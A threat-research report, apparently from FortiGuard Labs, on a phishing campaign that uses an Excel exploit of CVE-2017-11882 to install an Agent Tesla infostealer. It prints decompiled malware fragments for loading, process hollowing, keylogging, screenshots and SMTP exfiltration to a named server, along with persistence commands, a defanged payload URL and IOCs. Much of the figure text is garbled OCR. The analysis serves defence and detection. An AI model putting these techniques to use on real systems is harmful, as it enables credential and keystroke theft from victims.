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Affected platforms: Microsoft Windows
Impacted parties: Windows Users
Impact: Collects sensitive information from a victim’s computer

Severity level: Critical

Our FortiGuard Labs captured a phishing campaign that spreads a new Agent Tesla variant. This well-known
malware family uses a .Net-based Remote Access Trojan (RAT) and data stealer to gain initial access. It is often

used for Malware-as-a-Service (MaaS).

I performed an in-depth analysis of this campaign, from the initial phishing email to the actions of Agent Tesla
installed on the victim’s machine to the collecting of sensitive information from the affected device. In this
analysis, you will learn about the contents of this attack, such as how the phishing email starts the campaign, how
the CVE-2017-11882/CVE-2018-0802 vulnerability (and not the VBS macro) is exploited to download and
execute the Agent Tesla file on the victim’s device, as well as how Agent Tesla collects the sensitive data from the

victim’s device, such as the credentials, key loggings, and screenshots of the victim’s screen.

Despite fixes for CVE-2017-11882/CVE-2018-0802 being released by Microsoft in November, 2017 and January,

2018, this vulnerability remains popular amongst threat actors, suggesting there are still unpatched devices in the

wild, even after over five years. We are observing and mitigating 3000 attacks per day, at the IPS level. The

number of observed vulnerable devices is around 1300 per day.

Phishing Email

Page 1 of 18


https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2018-0802
https://www.fortiguard.com/encyclopedia/fct-app/44947?utm_source=blog&utm_medium=blog&utm_campaign=fgl-tr-agent-tesla
https://www.fortiguard.com/encyclopedia/endpoint-vuln/41650?utm_source=blog&utm_medium=blog&utm_campaign=fgl-tr-agent-tesla

https://www.fortinet.com /blog/threat-research/agent-tesla-variant-spread-by-crafted-excel-document

H © = [virus detected] Purchase ORDER - Message (HTML)

File Message ) Tell me what you want to do...

Bipin Brahmavrathan <naz@.’ o u miamer® i B 9:15 AM

ected] Purchase ORDER

w

Order 45232429.xls
1MB

B

Greetings,
Enclosed is our Purchase Order 45232429.
I would like to ask for your confirmation!

Also advice your best deliverv period with order confirmation or PI

Thanks a lot!

Best Regards

Bipin Besisssssiaen
Senior Sales Engineer

<Lz
.4
.
R E EE En
N N TR

m

N RS N
i 2 nt
M: +30C 97410000
E: bipin.b@assinmmpeny.net
Wewww, 0 ynet

P.O. Box 40 ) | Safat 130 | Kuwait

Figure 1.1: The captured phishing email

The phishing email is disguised as a Purchase Order notification, shown in Figure 1.1, that asks for the recipient to

confirm an order from an industrial equipment supplier company. An Excel document is attached to this email
called “Order 45232429.x1s”.

CVE-2017-11882/CVE-2018-0802 Exploited by the Excel Document

The attached Excel document is in OLE format. It contains crafted equation data that exploits the CVE-2017-
11882/CVE-2018-0802 vulnerability to execute a malicious shellcode.
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Figure 2.1: The content of the Excel file

Opening the attached Excel document displays a deceptive message to the user (Figure 2.1). Meanwhile, the

shellcode inside the crafted equation data is secretly executed.

CVE-2017-11882/CVE-2018-0802 is an RCE (remote code execution) vulnerability that results in memory
corruption inside the EQNEDT32.EXE process when parsing the crafted equation data when exploited. This can

lead to arbitrary code execution.

Figure 2.2 shows the Excel document parsed in an OLE compound reader, where the equation data is inside the

stream “\x010le10NativE” under the storage folder “MBD0057E612”.
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Figure 2.2: The equation content inside the OLE Excel document

Once the crafted Excel document is opened, the malicious equation data is parsed automatically by an MS Office
process called “EQNEDT32.EXE.” This triggers the CVE-2017-11882/CVE-2018-0802 vulnerability, and the

malicious shellcode inside the equation data is executed in the background.
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Figure 2.3: The ShellCode about to execute in the vulnerable EQNEDT32.EXE process

In Figure 2.3, we can see that the crafted equation data overrides the stack of the EQNEDT32.EXE and makes it
jump twice (through the fixed addresses of 0x450650 and 0x44C329) to the shellcode at 0x33C006C (in the
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stack).

After self-decryption, we observe that the shellcode’s main job is downloading and executing an additional
malware file from the URL “hxxp://23[.]95.128.195/3355/chromium.exe”. To do this, it calls several APIs, such as
URLDownloadToFileW(), to download the malware to a local folder, and ShellExecuteW() to run the malware on
the victim’s device. In Figure 2.4, we can see that the shellcode is about to call the API URLDownloadToFileW()

to download it into a local file and rename it as “dasHost.exe” under the “%TEMP%” folder.
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Figure 2.4: Calling the API to download the malware

A Look into the Downloaded File

The downloaded file (“dasHost.exe”) is a .Net program protected by two packers, IntelliLock and .NET Reactor.

Figure 3.1 displays the EntryPoint function of the downloaded file inside dnSpy, where the assembly name of the
file is “Nvgqn7x”. As you may have noticed, all the names of the namespaces, classes, methods, and variables are

thoroughly obfuscated.
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Figure 3.1: The EntryPoint function of the obfuscated downloaded file

There are resource files inside the downloaded file’s .Net Resources section. The downloaded file (“dasHost.exe”)

extracts two fileless execution modules from the .Net Resources section. One is the payload module of Agent

Tesla, and the other is a Loader module to the payload file of Agent Tesla.

Figure 3.2: The .Net Resources section of the downloaded file

Figure 3.2 shows all the resources in the .Net Resources section. According to my analysis, the resource

"rTMIRNhcvIYnT8IMa6.UJQcCvWAsvT8GV6hyn.resources" is the encoded Loader module, whose assembly

name is “Cassa.” The resource "FinalProject.Resources" is the encrypted and compressed Agent Tesla payload
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module, whose assembly name is “NyZELH bX.” It gets decrypted, decompressed, and loaded as a module in the

“DeleteMC()” function of the Loader module, as shown in Figure 3.3.

CCM X
96 // Token: @x@6@@e@1@ RID: 16 RVA: @x@@e02CBC File Offset: @x@@@0BEBC -
97 public static void DeleteMC(string resource_name, string EE[d_param, string project_name)
98 {
99 Thread.Sleep(25508) Load Payload Resource
D 100 Bitmap bmp = CCM.IIII26(resource_name,
101 byte[] io_byte = CCM.III14(bmp);
102 byte[] jud_byte = CCM.LabelEdit(io_byte, BEE[E param);
103 byte[] raw_byte = CCM.LabelTextAdd(jud_byte); } Decrypt & Decompress
104 Assembly i = AppDomain.CurrentDomain.Load(raw byte);
185 object ii = Interaction.CallByName(i, CallType.Get, null);
106 object objectRef = ii;
107 string procName = "Invoke”;
108 CallType useCallType = CallType.Get;
109 cbject[] array = new cbhject[2]; Invoke the "Entl’yPOint"
® o o
111 object iii = Interaction.CallByName(objectRef, procName, useCallType, array);
112 Environment.Exit(@);
113 3
114
115 // Token: @x@6@e@@11 RID: 17 RVA: @x80ee2D35 File Offset: @x@eeeer3s -
100 % |~
Name Value -
& resource_name "tZmHBkn"
¢ EQ param "grkB"
|9 project_name "FinalProject” |
P @ bmp null
@ io_byte null v
4 »

Figure 3.3: Loader “Cassa”‘s DeleteMC() function

As you may have noticed, the resource is disguised as a Bitmap resource and is mixed up with the payload.
Bitmap.GetPixel() and Color.FromArgb() are the two APIs being called to read the payload from the resource. It
then goes through decryption and gzip decompression to restore the payload file, which is loaded as an executable
module by calling the AppDomain.CurrentDomain.Load() method. Finally, the payload file’s “EntryPoint”

function is invoked from the Loader module (“Cassa®).

Agent Tesla Payload Module & Process Hollowing

The payload module is a .Net program and is fully obfuscated. Fortunately, I managed to have it de-obfuscated

using several analysis tools.

As with most malware, the developers run the malware’s core module in a separate process. This is a common

protection strategy to increase the malware's chance of survival on the victim's device.

The primary function (other than persistence) of the payload is to perform the process hollowing and then place
another decrypted executable file—sourced from a separate resource (called “7gQsJOugxz.resources”) within the
payload file—onto the hollowed process and execute it. In this analysis, I call this decrypted executable file the

core module of Agent Tesla.
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see @"C:\Users\Bobs\AppData\Local\Temp\dasHost.exe"

case 58U: /
{

bool flag9 = !Class15 mainl.CreateProcess|string 9, string_1@, IntPtr.Zero,
IntPtr.Zero, false,l 4U,| IntPtr.Zero, null, ref @struct, ref struct2);
num4 = (num2 * 1238561928*\; 3218583713U);

continue;
} CREATE_SUSPENDED
0x00000004
soe 0x00400000 000042000
int num7; \ /
int numé = Classl5_main struct2.intptr_@, num7, int_, 12288,
64);
num4 = (num2 * 3811845735U ~ 1896658328U);
continue;
*ee
case 11U:
{
int numé; 000400000 {byte[0x0003BC00]}

int int_2; \ /
|bool flag2 = !C1asslS_naianritercessH:.nrﬂstr‘uctz.:i.ntptr'_e, numé, byte 1, int_2, ref num3) ;|
numd = 3977315280U;

continue;
}
LL L
int[] array;
bool flags = !Class15_main JSetThreadContextfstruct2.intptr_1, array);
numd = 3352463022U;
continue;
"o
{
bool flags = ClasslS_Ia:i.nstructz.intptr_].) == -1;
numd = 2275129581U;
continue;
}
.S

Figure 4.1: APIs to perform Process Hollowing

Figure 4.1 contains the key APIs the payload module invokes to perform the ProcessHollowing. It invokes
CreateProcess() to create a suspended process of “dasHost.exe.” Next, it allocates memory in this process via the
API Virtual AllocEx() for the core module. Then WriteProcessMemory() is invoked numerous times to copy the
core module, saved in the array variable byte_1, onto the new process. It finally calls the APIs SetThreadContext()

and ResumeThread() to restore the new process from a suspended state to execute the core module of Agent Tesla.

After that, the payload module exits by calling Environment.Exit() in the Loader module’s DeleteMC() (refer to
Figure 3.3).

Persistence

To persist in collecting the victim’s sensitive data, even if the affected system is restarted or the Agent Tesla

process is killed, it does the following two things.

1. TaskScheduler

It executes a command to create a task in the system TaskScheuler inside the payload module. The command in

my analysis environment is "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\kCqKCO" /XML
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"C:\Users\Bobs\AppData\Local\Temp\tmp68E9.tmp," where "Updates\kCqKCQ" is the task name and "/XML"
specifies it’s been created from an XML file that is provided by following a parameter (i.e. tmp68E9.tmp). Figure
5.1 shows the details of the XML content, where the file “C:\Users\Bobs\AppData\Roaming\kCqKCO.exe” is a

duplication of the downloaded “dasHost.exe.” The task is set to start at the victim’s logon.
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§ services exe (508) Services and Cont... C:\Windk rstem32\services exe NT AUTHORITY'\SYSTEM CWindows'system32\services exe
| [ svchost.exe (628) Host Process for ... C:\Windows\system32\svchost exe NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe + De...
& wmiprvse exe (4336) WMI Provider Host  C:\Windows"system 32'wbem wmiprvse exe NT AUTHORITY'NETWORK SER... C:\Windows'system32\wbem‘wmiprvse exe
¥ DilHost .exe (2624) COM 5 C:\Wind ystem32'DiHost exe NT AUTHORITY\SYSTEM C:\Windows\system32\DllHost exe /Proc....
¥ DillHost exe (2356) COM Sumogate C:\Windows"system32\DilHost exe NT AUTHORITY\SYSTEM C:\Windows'system32\DllHost exe /Proc...
¥ DilHost exe (3940) COM Sumogate C:\Windows'system 32\DilHost exe Bobs-PC\Bobs C:\Windows'system32\DilHost exe /Proc...
@ wmiprvse exe (2276) WMI Provider Host  C:\Windows"system 32\wbem'wmiprvse exe NT AUTHORITY\SYSTEM C:\Windows'system32'wbem \wmiprvse e_..
B @ EGQNEDT32 EXE (4464) |Microsoft Equatio... C:\Program Files\Common Fles'\Microsoft Shared\EQUATIO... Bobs-PC\Bobs "C:\Program Files'Common Files'\Microsoft...

C:\Windows\System32's
Windows Audio D... C:\Windows'system32\AUDIODG EXE

H [ svchost exe (848)
W AUDIODG.EXE (1752)

H [ svchost.exe (884) Host Processfor ... C:\Windows\System32\svchost.exe
W Dwm exe (2924) Desktop Window ... C:\Windows"system32'\Dwm exe

[ svchost exe (308) Host Process for ... C:\Windows'system32\svchost exe

[ svchost exe (332) Host Process for .. C:\Windows\system32'svchost exe

[ svchost exe (644) Host Process for ... C:\Windows'\system32\evchost exe

& onnnlow ava (11001 Crnnlar CdCicta A Mlindrws) Cuetam TN enanlow ava

W AUTAURITTWNETWURRK JERL..

NT AUTHORITY'\LOCAL SERVICE
NT AUTHORITYWLOCAL SERVICE
NT AUTHORITY\SYSTEM
Bobs-PC\Bobs

NT AUTHORITY'\LOCAL SERVICE
NT AUTHORITY\SYSTEM

NT AUTHORITY\NETWORK SER...

MNT AHTHNRITYWCYCTEM

< > £
iption: Manages scheduled tasks
Company:  Microsoft Corporation
Path: C:\Windows\SysWOWE4\schtasks.exe
|r d:  "C:\Windows\S 32\schtasks.exe” [Create /TN "Updates'\kCqKCO" /XML "C:\Users\Bobs\AppDataLocal\Temp\tmp63ES. tmp™ I
User: Bobs-PCEubs
PID: 4748 Started: 8/16/2023 2:09:24PM

Exited:  8/16/2023 2:09:24PM

C:\Window:
C:\Window
C:\Window:

5\System32\svchost exe + Lo...
s\system32\AUDIODG EXE (...
shSystem32\svchost exe 4 Lo..

"C:\Windows'system32\Dwm exe"

C:\Window
C:\Window

C:\Window:
A Wi

s\system32\svchost exe 4 Lo...
s'system32'svchost exe & net .
s'system3Z\svchost exe & Ne..

ot Cuotam T Nonnnlow ava

coTotn]

<?xml version="1.8" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2084/02/mit/task">

<RegistrationInfo>
<Date>2014-10-25T14:27:44,8929027</Date>
<Author>Bobs-PC\Bobs< /Author>
</RegistrationInfo>
<Triggers>
<LogonTrigger>
<Enabled>true</Enabled>
<UserId»Bobs-PC\Bobs</UserId>
</LogonTrigger>
<RegistrationTrigger>
<Enabled»false</Enabled>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId»Bobs-PC\Bobs</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>leastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartlihenAvailable>true</StartlihenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnldleEnd>true</StopOnldleEnd>
<RestartOnldle>false</RestartOnldle>
<fIdlesettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT@S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Execr
<Command>C:\Users'Bobs\AppData'\Roaming\kCqKCO. exe</Command >
</Exec>
</Actions>
</Task>

tmp68E9.tmp

Figure 5.1: Creating a task inside the system TaskScheduler
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Q’ Registry Editor

=3 Eom =

4

File Edit View Favorites Help

. CurrentVersion
- 1, Action Center
- |, App Paths
) Applets
) Controls Folder
.\, Explorer
) Bt
- |, Bdensions
J Group Policy
, HomeGroup

m

Type Data
REG 57 (value not set)
REG_SZ

C:\Users\Bobs\AppData\Roaming\sOFvE\sOFvE.exe I

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run I

Figure 5.2: Auto-run item in the system registry

The core module adds an auto-run item in the system

registry“C:\Users\Bobs\AppData\Roaming\sOFvE\sOFvE.exe” (shown in Figure 5.2). It is another duplication of

“dasHost.exe” that is launched automatically at system startup.

Stealing Sensitive Information from the Victim

The Agent Tesla core module collects sensitive information from the victim’s device. This information includes

the saved credentials of some software, the victim’s keylogging information, and screenshots of the victim’s

device.

Stealing credentials
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ce - 9 P Continue EdH 2> ¢+t ar DO
el Mvggnix (0.0.0.0)
191 ; ¥ a
192 ¢ if (num == 14)
193 | i
194 L1 aA2FU.97R7X(new Bcf());
195 © 0 num = 15;
196 P}
197 ! if (num == 1)
198 i
® 1 -
D 200 ‘. num = 2;
2081 r)
282 if (num == 42) v
100 % -
Watch 1 > X
MName Value -
4 @ YDuHWEs.iMW Count = (0x0000001C
4 @ [0] [ YDyHWE= nhvBKFLEWwWRY
A 4Bu2T @"CA\Users\Bobs\AppData\Roaming\Opera Software\Opera Stable”
& NHcExu3m true
ﬁ PaShHIkKMNSYK "Opera Browser"
4@ [1] {j4x.YDuHW8s.nly8KFLEWwWR}
M 4Bu2T @"C\Users\Bobs\AppData\Local\Yandex\YandexBrowser\User Data
A NHcExu3m true
M PaShHIKNSYK "Yandex Browser”
4@ (2] {i4x.YDuHWEs.nlyBKFLEWwR}
A 4Bu2T @"C\Users\Bobs\AppData\Local\lridium‘\User Data”
& NHcExu3m true
A PaShHILNSYK "Iridium Browser"
4 @ [3] {}4x.YDuHW8s.nlyBKFLEWwWR}
M 4Bu2T T@l'"IC:‘lLUsers"\BmI::s‘u\:l;ppf)i*.lta‘\Lclcal"\Chrclr'niurn’uUser Data"
& NHcExu3m true
M PaShHIKNSYK "Chromium"
4 @ [4] {{x.YDuHW8s.nlyBKF1EWwR}
¥ 4Bu2T @"C\Users\Bobs\AppData\Local\75tar\75tar\User Data" -

4

Locals Watchl Call Stack Memoryl Analyzer Memory2 Search Modules Breakpoints Threads

Figure 6.1: Web browser information from which Agent Tesla steals credentials

It steals saved credentials from specified software installed on the victim’s device, including web browsers, email

clients, FTP clients and more.

Based on their features, the affected software can be categorized as below:

Web Browsers:

"Opera Browser", "Yandex Browser", "Iridium Browser", "Chromium", "7Star", "Torch Browser", "Cool Novo",

"Kometa", "Amigo", "Brave", "CentBrowser", "Chedot", "Orbitum", "Sputnik", "Comodo Dragon", "Vivaldi",

"Citrio", "360 Browser", "Uran", "Liebao Browser", "Elements Browser", "Epic Privacy", "Coccoc", "Sleipnir 6",
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"QIP Surf", "Coowon", "Chrome", "Flock Browser", "QQ Browser", "IE/Edge", "Safari", "UC Browser", "Falkon

Browser".
Email clients:

"Outlook", "ClawsMail", "IncrediMail", "FoxMail", "eM Client", "Opera Mail", "PocoMail", "Windows Mail
App", "Mailbird", "The Bat!", "Becky!", "Eudora".

FTP clients:

"Flash FXP", "WS_FTP", "FTPGetter", "SmartFTP", "FTP Navigator", "FileZilla", "CoreFTP", "FtpCommander",
"WinSCP".

VPN clients:

"NordVPN", "Private Internet Access", "OpenVPN",
IM client:

"Discord", "Trillian", "Psi/Psi+".

Others:

"Mysql Workbench", "\Microsoft\Credentials\", "Internet Download Manager", "JDownloader".
Keylogging

Agent Tesla calls the API SetWindowsHookEx() to set a keyboard hook to monitor low-level input events.

Block_4:
try
{
IL_86:
string moduleName = Process.GetCurrentProcess().MainModule.ModuleName;
IntPtr moduleHandle = ¥7ALd2Zht.GetModuleHandle(moduleName) ;
this.gkJ0zU8 =[Y7ALd2ht.SetWindowsHookEx| 13, this.EiqpViCm9, moduleHandle, @);
if (this.qkJOzU8 != IntPtr.Zero) /

i
return; WH_KEYBOARD_LL Hook Procedure
¥ 13
}
catch
{

Figure 6.2: Set hook procedure to log keystrokes

In Figure 6.2, the callback hook procedure “this.EigpViCm9()” is called whenever the victim is typing on their
device. Agent Tesla records the program title, time, and victim’s keyboard input contents into a local file

“%Temp%/log.tmp” from time to time.

It also has a method called by a Timer every 20 minutes to check the “log.tmp” file and submit its content via
SMTP.
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Recording screenshots

In the core module, Agent Tesla sets another Timer with a 20-minute interval to call another Timer function. This
Timer function checks for any activity on the device and determines whether to record the screenshot and submit
it. To do this, it calls the API GetLastInputInfo() to retrieve the time of the last input event received by the system

and then compare it with the current time.
The following pseudo-code snippet illustrates how Agent Tesla captures a screenshot.

bitmap = new Bitmap(bounds.Width, Screen.PrimaryScreen.Bounds.Height);

encoderParameters = new EncoderParameters(1);

encoder = 25T11j7fiou.KIOsJnSv3(ImageFormat.Jpeg);

EncoderParameter encoderParameter = new EncoderParameter(Encoder.Quality, (long)Convert. ToInt32(60L));
encoderParameters.Param[0] = encoderParameter;

graphics = Graphics.FromImage(bitmap);

graphics.CopyFromScreen(new Point(0, 0), new Point(0, 0), blockRegionSize);

bitmap.Save(memoryStream, encoder, encoderParameters);

The “memoryStream” variable saves the screenshot in jpeg format.

Submitting Sensitive Data via SMTP

Agent Tesla provides multiple ways to submit the stolen data, such as using the HTTP POST method or as the
body of an email over SMTP. This variant chooses to submit the data collected from the victim’s device over

email SMTP protocol. The SMTP server address and port hardcoded in the variant are "mail.daymon.cc" and 587.

Figure 7.1 shows the malware about to call the smtpClient.Send() function to submit credentials data. The email

subject starts with the keyword “PW_" followed by the User name/Computer name for credentials data.

dYk6ClhuD X

VpcQ.Ly26Z1rVzG); -
77 smtpClient.Host = VpcQ.6xJH;
78 smtpClient.EnableSsl = VpcQ.bYE;
79 smtpClient.UseDefaultCredentials = false;
e smtpClient.Credentials = credentials;
81 smtpClient.Port = VpcQ.hQfNTHLIqYL;
o 32 lsmtpClient.Send(mailMessage);
83 ¥
- catch
85 N v
100% ~
Name Value
& mailMessage.Body "Time: 08/20/2023 22:16:02<br>User Name: Bobs<br> Computer Mame: BOBS-PC<br> O5FullName: Microsoft
A mailMessage.Subject  "PW_Bobs/BOES-PC”
g
4 3

Figure 7.1: Submitting stolen credentials in an email
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The email body is formatted in HTML. It is shown in Figure 7.2 when parsing the email body as HTML in a

browser.

Time: 08/20/2023 22:16:02
User Name: Bobs . .
Computer Name: BOBS-PC Device Basic
OSFullName: Microsoft Windows 7 Professional -
CPU: Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz Information
RAM: 8191.55 MB

IP Address: 45.135 . ol

Host: https://wwww.amazon.ca/ap/signin
Username: bolllW @gmail com

Password: A_EN_Test

Application: Opera Browser

Host: https://twitter.com/t/ flow/login
Username: BN @ gmail.com

Password: 4_ it Stolen Credentials
Application: Chrome

Host: https://dashboard.nylas.com/sign-in
Username: balmmi @ outlook.com
Password: th )t

Application: Chrome

Host: https://login vahoo.com
Username: B W @ yahoo.com
Password: B .
Application: Firefox

Figure 7.2: Example of stolen credentials

Watch1 * X
Name Value |
& mailMessage.Body |"> <br] <b>[ Untitled - Notepad]</b> (8/22/2023 11:14:09 PM)<br> hello{ENTER|This is keylog information {ENTER}<br>" | | o
& mailMessage.Subject  "KL_Bobs/BOBS-PC"
4

Locals Watchl Call Stack Memoryl Analyzer Memory2 Search Modules Breakpoints Threads

Figure 7.3: Example of the information that the keylogger collected

The email’s subject is “KL_{User name/Computer name},” where KL is short for keylogger, and the email body
is the collected keylogging data. As displayed in Figure 7.3, the email body includes the records of my keystrokes
typed in a Notepad titled “Untitled - Notepad.”

The captured screenshot is kept in a variable and added as an email attachment when submitted to the attacker.
Figure 7.4 shows it about to add screenshot data to the email as an attachment. The email subject format for
ScreenShots is “SC_{User name/Computer name},” and the email body is just the basic information about the

victim’s device.
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ce - pContinue ! B > ¥ ar O
sZ3l dYk6ClhuD X
66 ©++  mailMessage.Body = hPW2; -
67 ‘ ‘ ‘ IL_21D:
68 1 ' ' if (HtlSge != null && HtlSge.Count > @)
69 i ! i {
70 . | foreach (WUVN wuvn in HtlSge)
71 i 1 i ]
B 72 i ; © |mailMessage.Attachments.Addf new Attachment(new MemoryStream(wuvn.gR8fzi),
: : : : ; wuvn. XBM, wuvn. tFyH));
B
74 A
75 SmtpClient smtpClient = new SmtpClient();
76 ! ! ! NetworkCredential credentials = new NetworkCredential(VpcQ.dyk6CIhuD, VpcQ.Ly26Z1rVzG);
77 ¢+ 1 smtpClient.Host = VpcQ.6xJH;
78 smtpClient.EnableSsl = VpcQ.bYE;
79 ! ' ' smtpClient.UseDefaultCredentials = false;
8@ .+ 1 smtpClient.Credentials = credentials; The ScreenShot Buffer
81 smtpClient.Port = VpcQ.hQfNTHL9qY1;
[ ] 82 . i . smtpClient.Send(mailMessage); v
00% |~

Name Value
4 @ wuvn {qtOxPT.WUVN}
@ 92T8GGxBM "Time: 08/22/2023 12:24:50 < br> User Name: Bobs<br>Computer Mame: BOBS-PC<br> O5FullName: Microsoft Win
@ abQWZR) "Ipg"
b @ gRSEZW {byte[140114]} ¥ The ScreenShot
@ JQ6GtFyH "image/jpg"
F mailMessage.Body "Time: 08/22/2023 12:24:54 <br>User Name: Bobs<br> Computer Name: BOBS-PC<br> O5FullName: Microsoft Win
M mailMessage.Subject "SC_Bobs/BOBS-PC"
4

Figure 7.4: Example of submitting victim’s screenshot

Summary

The following flowchart roughly describes the outline of the malicious campaign.
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This analysis shows that a malicious Excel document attached to a phishing email exploits an aging security

vulnerability to execute a shellcode that downloads Agent Tesla. It keeps relevant modules encrypted and encoded

in the Resource section to protect its core module from being analyzed.

I then explained how this variant establishes persistence on the victim’s device. I also showed the kind of software

and data Agent Tesla is able to steal from the infected device, including credentials, keylogging data, and active

screenshots.

Lastly, I provided several examples of the kind of sensitive data this variant of Agent Tesla obtained from my

analysis environment and how this stolen sensitive data is submitted to the attacker via emails over SMTP

protocol.

Fortinet Protections

Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, and

AntiVirus services as follows:

The downloading URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.

FortiMail has recognized the phishing email as SPAM.
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FortiGuard Antivirus service detects the attached Excel document and the downloaded file with AV signatures
“MSExcel/CVE_2017_11882.EQMA!exploit” and “MSIL/AgentTesla. BEDA!tr”.

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard
AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-

date protections are protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the malicious Equation data inside

the Excel document.

We also suggest our readers go through the free NSE training: NSE 1 — Information Security Awareness, a module

on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global

FortiGuard Incident Response Team.

I0Cs

URLs:
Hxxp[:]//23[.]95.128.195/3355/chromium.exe
C2 Server List:

SMTP server @ mail.daymon.cc:587

Relevant Sample SHA-256:

[Order 45232429 .xls]
FDC04DC72884F54A4E553B662F1F186697DAF14EF8A2DC367BC584D904C22638

[chromium.exe / dasHost.exe / downloaded file]
36B17C4534E34B6B22728DB194292B504CF492EFS8AE91F9DDA7702820EFCFC3A

Source: https://www.fortinet.com/blog/threat-research/agent-tesla-variant-spread-by-crafted-excel-document
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